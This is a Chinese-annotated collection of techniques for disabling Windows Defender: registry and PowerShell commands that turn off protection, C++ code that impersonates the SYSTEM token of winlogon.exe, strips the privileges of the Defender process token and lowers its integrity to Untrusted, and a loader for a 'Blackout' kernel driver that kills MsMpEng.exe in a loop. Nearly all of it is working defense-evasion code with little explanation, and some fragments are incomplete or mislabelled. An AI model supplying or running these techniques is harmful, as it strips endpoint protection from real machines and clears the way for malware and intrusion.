削弱WindowsDefender

reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t reg_dword /d 1 /f
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiVirus /t reg_dword /d 1 /f

#include <windows.h>
#include <iostream>

// 设置注册表键值的函数
bool SetRegistryValue(HKEY hRootKey, LPCSTR subKey, LPCSTR valueName, DWORD data) {
    HKEY hKey;
    // 打开指定的注册表键
    LONG result = RegOpenKeyEx(hRootKey, subKey, 0, KEY_SET_VALUE, &hKey);
    
    if (result != ERROR_SUCCESS) {
        std::cerr << "打开注册表键失败: " << subKey << " 错误码: " << result << std::endl;
        return false;
    }

    // 设置指定的注册表键值
    result = RegSetValueEx(hKey, valueName, 0, REG_DWORD, (BYTE*)&data, sizeof(DWORD));
    // 关闭注册表键
    RegCloseKey(hKey);

    if (result != ERROR_SUCCESS) {
        std::cerr << "设置注册表值失败: " << valueName << " 错误码: " << result << std::endl;
        return false;
    }
    
    return true;
}

int main() {
    const char* subKey = "SOFTWARE\\Policies\\Microsoft\\Windows Defender";
    // 设置两个注册表键值
    if (SetRegistryValue(HKEY_LOCAL_MACHINE, subKey, "DisableAntiSpyware", 1) &&
        SetRegistryValue(HKEY_LOCAL_MACHINE, subKey, "DisableAntiVirus", 1)) {
        std::cout << "注册表键值设置成功!" << std::endl;
    } else {
        std::cerr << "设置注册表键值失败." << std::endl;
    }

    return 0;
}

Set-MpPreference -DisableRealtimeMonitoring $true

.\Tokenvator.exe
GetTrustedinstaller /Command:c:\windows\system32\cmd.exe

// 函数EnableDebugPrivilege用于启用指定进程的调试权限
bool EnableDebugPrivilege(HANDLE ProcHandle, HANDLE* hToken)
{
    LUID sedebugnameValue; // LUID，用于表示系统特权
    TOKEN_PRIVILEGES tkp; // 令牌特权结构

    // 打开当前进程的访问令牌
    if (!OpenProcessToken(ProcHandle, TOKEN_ALL_ACCESS |
        TOKEN_QUERY, hToken))
    {
        return FALSE;
    }

    // 查找 SE_DEBUG_NAME 特权的 LUID
    if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &sedebugnameValue))
    {
        CloseHandle(*hToken); // 关闭令牌句柄
        return false;
    }
    tkp.PrivilegeCount = 1; // 设置要调整的特权数量
    tkp.Privileges[0].Luid = sedebugnameValue; // 要启用的特权的 LUID
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; // 启用该特权
    
    // 调整访问令牌的特权
    if (!AdjustTokenPrivileges(*hToken, FALSE, &tkp, sizeof(tkp), NULL, NULL))
    {
        return false;
    }
    return true; // 返回true表示成功启用调试特权
}

wchar_t procname[80] = L"winlogon.exe"; // 目标进程名称
int pid = getpid(procname); // 获取目标进程ID
HANDLE phandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); // 打开目标进程

HANDLE ptoken;
OpenProcessToken(phandle, TOKEN_READ | TOKEN_IMPERSONATE | TOKEN_DUPLICATE, &ptoken); // 获取目标进程的访问令牌

// 尝试以目标用户身份运行
if (ImpersonateLoggedOnUser(ptoken)) {
    printf("[*] Impersonated System!\n");
}
else {
    printf("[-] Failed to impersonate System...\n");
}
// 关闭句柄
CloseHandle(phandle);
CloseHandle(ptoken);

// 重复上述步骤，但目标进程改为"MsMpEng.exe"
wchar_t procname2[80] = L"MsMpEng.exe";
pid = getpid(procname2);
printf("[*] Killing Defender...\n");
phandle = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid);
if (phandle != INVALID_HANDLE_VALUE) {
    printf("[*] Opened Target Handle\n");
}
else {
    printf("[-] Failed to open Process Handle\n");
}
EnableDebugPrivilege(phandle,&ptoken);
// 以下一系列SetPrivilege调用移除了所有特定的权限
SetPrivilege(ptoken, SE_DEBUG_NAME, TRUE);
SetPrivilege(ptoken, SE_CHANGE_NOTIFY_NAME, TRUE);
SetPrivilege(ptoken, SE_TCB_NAME, TRUE);
SetPrivilege(ptoken, SE_IMPERSONATE_NAME, TRUE);
SetPrivilege(ptoken, SE_LOAD_DRIVER_NAME, TRUE);
SetPrivilege(ptoken, SE_RESTORE_NAME, TRUE);
SetPrivilege(ptoken, SE_BACKUP_NAME, TRUE);
SetPrivilege(ptoken, SE_SECURITY_NAME, TRUE);
SetPrivilege(ptoken, SE_SYSTEM_ENVIRONMENT_NAME, TRUE);
SetPrivilege(ptoken, SE_INCREASE_QUOTA_NAME, TRUE);
SetPrivilege(ptoken, SE_TAKE_OWNERSHIP_NAME, TRUE);
SetPrivilege(ptoken, SE_INC_BASE_PRIORITY_NAME, TRUE);
SetPrivilege(ptoken, SE_SHUTDOWN_NAME, TRUE);
SetPrivilege(ptoken, SE_ASSIGNPRIMARYTOKEN_NAME, TRUE);
printf("[*] Removed All Privileges\n");
}

// 设置令牌完整性级别为 Untrusted
DWORD integrityLevel = SECURITY_MANDATORY_UNTRUSTED_RID;
SID integrityLevelSid{};
integrityLevelSid.Revision = SID_REVISION;
integrityLevelSid.SubAuthorityCount = 1;
integrityLevelSid.IdentifierAuthority.Value[5] = 16;
integrityLevelSid.SubAuthority[0] = integrityLevel;
TOKEN_MANDATORY_LABEL tokenIntegrityLevel = {};
tokenIntegrityLevel.Label.Attributes = SE_GROUP_INTEGRITY;
tokenIntegrityLevel.Label.Sid = &integrityLevelSid;
if (!SetTokenInformation(
    ptoken,
    TokenIntegrityLevel,
    &tokenIntegrityLevel,
    sizeof(TOKEN_MANDATORY_LABEL) + GetLengthSid(&integrityLevelSid)))
{
    printf("SetTokenInformation failed\n");
}
else {
    printf("[*] Token Integrity set to Untrusted\n");
}

BOOL
LoadDriver(
    char* driverPath
)
{
    SC_HANDLE hSCM, hService;
    const char* serviceName = "Blackout";

    // Open a handle to the SCM database
    hSCM = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
    if (hSCM == NULL) {
        return (1);
    }

    // Check if the service already exists
    hService = OpenServiceA(hSCM, serviceName, SERVICE_ALL_ACCESS);
    if (hService != NULL)
    {
        printf("Service already exists.\n");

        // Start the service if it's not running
        SERVICE_STATUS serviceStatus;
        if (!QueryServiceStatus(hService, &serviceStatus))
        {
            CloseServiceHandle(hService);
            CloseServiceHandle(hSCM);
            return (1);
        }

        if (serviceStatus.dwCurrentState == SERVICE_STOPPED)
        {
            if (!StartServiceA(hService, 0, nullptr))
            {
                CloseServiceHandle(hService);
                CloseServiceHandle(hSCM);
                return (1);
            }

            printf("Starting service...\n");
        }

        CloseServiceHandle(hService);
        CloseServiceHandle(hSCM);
        return (0);
    }

    // Create the service
    hService = CreateServiceA(
        hSCM,
        serviceName,
        serviceName,
        SERVICE_ALL_ACCESS,
        SERVICE_KERNEL_DRIVER,
        SERVICE_DEMAND_START,
        SERVICE_ERROR_IGNORE,
        driverPath,
        NULL,
        NULL,
        NULL,
        NULL,
        NULL
    );

    if (hService == NULL) {
        CloseServiceHandle(hSCM);
        return (1);
    }

    printf("Service created successfully.\n");

    // Start the service
    if (!StartServiceA(hService, 0, nullptr))
    {
        CloseServiceHandle(hService);
        CloseServiceHandle(hSCM);
        return (1);
    }

    printf("Starting service...\n");

    CloseServiceHandle(hService);
    CloseServiceHandle(hSCM);

    return (0);
}

int
main(
    int argc,
    char** argv
) {

    if (argc != 3) {
        printf("Invalid number of arguments. Usage: Blackout.exe -p <process_id>\n");
        return (-1);
    }

    if (strcmp(argv[1], "-p") != 0) {
        printf("Invalid argument. Usage: Blackout.exe -p <process_id>\n");
        return (-1);
    }

    if (!CheckProcess(atoi(argv[2])))
    {
        printf("provided process id doesnt exist !!\n");
        return (-1);
    }

    WIN32_FIND_DATAA fileData;
    HANDLE hFind;
    char FullDriverPath[MAX_PATH];
    BOOL once = 1;

    hFind = FindFirstFileA("Blackout.sys", &fileData);

    if (hFind != INVALID_HANDLE_VALUE) { // file is found
        if (GetFullPathNameA(fileData.cFileName, MAX_PATH, FullDriverPath, NULL) != 0) { // full path is found
            printf("driver path: %s\n", FullDriverPath);
        }
        else {
            printf("path not found !!\n");
            return(-1);
        }
    }
    else {
        printf("driver not found !!\n");
        return(-1);
    }
    printf("Loading %s driver .. \n", fileData.cFileName);

    if (LoadDriver(FullDriverPath))
    {
        printf("faild to load driver ,try to run the program as administrator!!\n");
        return (-1);
    }

    printf("driver loaded successfully !!\n");

    HANDLE hDevice = CreateFile(L"\\\\.\\Blackout", GENERIC_WRITE | GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

    if (hDevice == INVALID_HANDLE_VALUE) {
        printf("Failed to open handle to driver !! ");
        return (-1);
    }

    DWORD bytesReturned = 0;
    DWORD input = atoi(argv[2]);
    DWORD output[2] = { 0 };
    DWORD outputSize = sizeof(output);

    BOOL result = DeviceIoControl(hDevice, INITIALIZE_IOCTL_CODE, &input, sizeof(input), output, outputSize, &bytesReturned, NULL);
    if (!result)
    {
        printf("faild to send initializing request %X !!\n", INITIALIZE_IOCTL_CODE);
        return (-1);
    }

    printf("driver initialized %X !!\n", INITIALIZE_IOCTL_CODE);

    if (GetPID(L"MsMpEng.exe") == input)
    {
        printf("Terminating Windows Defender ..\nkeep the program running to prevent the service from restarting it\n");
        while (0x1)
        {
            if (input = GetPID(L"MsMpEng.exe"))
            {
                if (!DeviceIoControl(hDevice, TERMINSTE_PROCESS_IOCTL_CODE, &input, sizeof(input), output, outputSize, &bytesReturned, NULL))
                {
                    printf("DeviceIoControl failed. Error: %X !!\n", GetLastError());
                    CloseHandle(hDevice);
                    return (-1);
                }
                if (once)
                {
                    printf("Defender Terminated ..\n");
                    once = 0;
                }

            }

            Sleep(700);
        }
    }

    printf("terminating process !! \n");

    result = DeviceIoControl(hDevice, TERMINSTE_PROCESS_IOCTL_CODE, &input, sizeof(input), output, outputSize, &bytesReturned, NULL);

    if (!result)
    {
        printf("failed to terminate process: %X !!\n", GetLastError());
        CloseHandle(hDevice);
        return (-1);
    }

    printf("process has been terminated!\n");

    system("pause");

    CloseHandle(hDevice);

    return 0;
}